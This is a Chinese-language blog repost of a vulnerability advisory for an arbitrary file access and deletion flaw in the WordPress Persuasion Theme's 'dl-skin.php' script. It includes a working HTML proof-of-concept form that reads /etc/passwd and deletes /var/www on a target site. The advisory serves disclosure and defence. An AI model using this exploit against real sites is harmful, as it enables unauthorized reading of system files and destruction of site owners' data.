WordPress Persuasion Theme ‘dl-skin.php’任意文件访

漏洞起因输入验证错误危险等级中影响系统 WordPress Persuasion Theme 2.0 WordPress Persuasion Theme 2.3 不受影响系统危害远程攻击者可以利用漏洞获取系统文件内容。 CVSSv2: 攻击所需条件攻击者必须访问WordPress Persuasion Theme。漏洞信息 WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。 WordPress Persuasion Theme 'dl-skin.php'不正确校验用户提交的输入，允许远程攻击者利用漏洞提交特殊的请求，获取系统文件内容。测试方法

<html>
<body>
<form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>

安全建议厂商解决方案目前没有详细解决方案提供： http://mysitemyway.com/ 漏洞提供者 Interference Security 漏洞消息链接 http://www.exploit-db.com/exploits/30443/

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《WordPress Persuasion Theme ‘dl-skin.php’任意文件访》